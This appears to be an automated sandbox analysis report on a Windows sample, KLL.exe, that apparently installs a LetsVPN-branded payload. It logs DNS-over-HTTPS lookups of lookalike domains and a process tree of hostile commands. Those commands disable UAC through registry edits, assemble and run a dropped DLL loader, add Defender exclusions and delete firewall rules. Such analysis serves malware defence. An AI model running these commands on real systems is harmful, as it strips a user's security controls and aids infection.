Jul 20, 2024 11:53:18.061170101 CEST	242	IN	Data Raw: 81 7e 00 92 7b 22 65 76 65 6e 74 22 3a 22 70 75 73 68 65 72 3a 65 72 72 6f 72 22 2c 22 64 61 74 61 22 3a 7b 22 63 6f 64 65 22 3a 34 30 30 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 70 70 20 6b 65 79 20 34 66 63 34 33 36 65 66 33 36 66 34 30 32 36 Data Ascii: ~{"event":"pusher:error","data":{"code":4001,"message":"App key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?"}}ZApp key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?
Jul 20, 2024 11:53:18.227613926 CEST	8	OUT	Data Raw: 88 82 53 28 e8 86 50 c0 Data Ascii: S(P

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49725	108.138.24.227	443	7812	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 09:53:18 UTC	180	OUT	GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1 HTTP/1.1 Host: d1dmgcawtbm6l9.cloudfront.net User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-07-20 09:53:19 UTC	676	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.16.0 Date: Sat, 20 Jul 2024 09:53:19 GMT Accept-Ranges: none X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Expires: Sat, 20 Jul 2024 09:53:19 GMT Cache-Control: private, max-age=4 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 d34cf2ddbdf9774517330fee6a26e4b2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: VLspqJpGszHQwZobsaNqa8FBvcnIa088emYUga7b3mi3fO0iEoCk0w==
2024-07-20 09:53:19 UTC	518	IN	Data Raw: 31 66 66 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 34 2c 22 64 61 74 61 22 3a 22 33 33 2e 38 36 2e 37 32 2e 31 39 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 34 2c 22 64 61 74 61 22 3a 22 39 Data Ascii: 1ff{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nal.fqoqehwib.com.","type":1}],"Answer":[{"name":"nal.fqoqehwib.com.","type":1,"TTL":4,"data":"33.86.72.19"},{"name":"nal.fqoqehwib.com.","type":1,"TTL":4,"data":"9
2024-07-20 09:53:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49726	108.138.24.227	443	7812	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 09:53:18 UTC	183	OUT	GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=chr.alipayassets.com.&type=1 HTTP/1.1 Host: d1dmgcawtbm6l9.cloudfront.net User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-07-20 09:53:19 UTC	676	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.16.0 Date: Sat, 20 Jul 2024 09:53:19 GMT Accept-Ranges: none X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Expires: Sat, 20 Jul 2024 09:53:19 GMT Cache-Control: private, max-age=3 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 4dd80d99fd5d0f6baaaf5179cd921f72.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: it6J-lTOSD2Xq0N2tVjgpMa-gc_b0BAPRZqLmHYXY8BKCqgdPSDWkQ==
2024-07-20 09:53:19 UTC	390	IN	Data Raw: 31 37 66 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 33 2c 22 64 61 74 61 22 3a 22 31 32 2e 32 30 36 2e 31 31 38 2e 32 32 39 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 Data Ascii: 17f{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"chr.alipayassets.com.","type":1}],"Answer":[{"name":"chr.alipayassets.com.","type":1,"TTL":3,"data":"12.206.118.229"},{"name":"chr.alipayassets.com.","type":1,"TTL"
2024-07-20 09:53:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49727	108.138.24.227	443	7812	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 09:53:18 UTC	182	OUT	GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1 Host: d1dmgcawtbm6l9.cloudfront.net User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-07-20 09:53:19 UTC	676	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.16.0 Date: Sat, 20 Jul 2024 09:53:19 GMT Accept-Ranges: none X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Expires: Sat, 20 Jul 2024 09:53:19 GMT Cache-Control: private, max-age=6 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 a5010656f4f762c0fdffac3448496b86.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 X-Amz-Cf-Id: yqScaF_07zab9o2oDIyxXme9On8Qpa-_uTvo-OcyZF_jwSDxyTdPsA==
2024-07-20 09:53:19 UTC	500	IN	Data Raw: 31 65 64 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 36 2c 22 64 61 74 61 22 3a 22 36 37 2e 31 33 37 2e 31 37 34 2e 32 35 34 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 36 2c Data Ascii: 1ed{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nit.crash1ytics.com.","type":1}],"Answer":[{"name":"nit.crash1ytics.com.","type":1,"TTL":6,"data":"67.137.174.254"},{"name":"nit.crash1ytics.com.","type":1,"TTL":6,
2024-07-20 09:53:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:52:17
Start date:	20/07/2024
Path:	C:\Users\user\Desktop\KLL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\KLL.exe"
Imagebase:	0x7ff7b0ae0000
File size:	31'853'056 bytes
MD5 hash:	FF9006E15BBE8F6C9A4AC2DDB14AC37E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:52:19
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ipconfig /all
Imagebase:	0x7ff7d5350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:52:19
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:52:19
Start date:	20/07/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff790310000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:52:19
Start date:	20/07/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\netsh.exe" -f C:\ProgramData\In82D.xml
Imagebase:	0x7ff717940000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:52:19
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:52:25
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\R62ra.bat"
Imagebase:	0x7ff7d5350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:52:25
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:52:25
Start date:	20/07/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
Imagebase:	0x7ff690670000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:52:25
Start date:	20/07/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F
Imagebase:	0x7ff690670000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:52:26
Start date:	20/07/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F
Imagebase:	0x7ff690670000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:52:26
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:52:28
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll
Imagebase:	0x7ff7d5350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:52:28
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:52:30
Start date:	20/07/2024
Path:	C:\Windows\System32\mmc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\mmc.exe -Embedding
Imagebase:	0x7ff6a9ad0000
File size:	1'953'280 bytes
MD5 hash:	58C9E5172C3708A6971CA0CBC80FE8B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:52:30
Start date:	20/07/2024
Path:	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe"
Imagebase:	0x770000
File size:	99'904 bytes
MD5 hash:	8AA07B7C6C632F4EDF07A0E2B91F8566
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	05:52:31
Start date:	20/07/2024
Path:	C:\Windows\System32\mmc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\mmc.exe -Embedding
Imagebase:	0x7ff6a9ad0000
File size:	1'953'280 bytes
MD5 hash:	58C9E5172C3708A6971CA0CBC80FE8B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	05:52:32
Start date:	20/07/2024
Path:	C:\ProgramData\letsvpn-latest.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\letsvpn-latest.exe"
Imagebase:	0x400000
File size:	15'382'056 bytes
MD5 hash:	7CE62DC191CEE9DD1488C9D0A25FEDA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:52:32
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ipconfig /all
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:52:32
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:52:32
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /all
Imagebase:	0x9e0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:52:32
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Imagebase:	0x520000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:52:32
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:52:45
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Imagebase:	0x520000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:52:45
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:52:58
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Imagebase:	0x7ff69dc90000
File size:	101'536 bytes
MD5 hash:	1E3CF83B17891AEE98C3E30012F0B034
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:52:58
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:52:58
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Imagebase:	0x7ff69dc90000
File size:	101'536 bytes
MD5 hash:	1E3CF83B17891AEE98C3E30012F0B034
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:52:58
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:52:59
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	05:52:59
Start date:	20/07/2024
Path:	C:\Windows\System32\drvinst.exe
Wow64 process (32bit):	false
Commandline:	DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\oemvista.inf" "9" "4d14a44ff" "0000000000000158" "WinSta0\Default" "0000000000000168" "208" "c:\program files (x86)\letsvpn\driver"
Imagebase:	0x7ff6fdca0000
File size:	337'920 bytes
MD5 hash:	294990C88B9D1FE0A54A1FA8BF4324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:53:01
Start date:	20/07/2024
Path:	C:\Windows\System32\drvinst.exe
Wow64 process (32bit):	false
Commandline:	DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184"
Imagebase:	0x7ff6fdca0000
File size:	337'920 bytes
MD5 hash:	294990C88B9D1FE0A54A1FA8BF4324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:53:02
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:53:02
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	05:53:03
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=lets
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:53:03
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:53:03
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=lets
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:53:03
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=lets.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:53:03
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:53:03
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=lets.exe
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:53:04
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall Delete rule name=LetsPRO.exe
Imagebase:	0x1080000
File size:	82'432 bytes
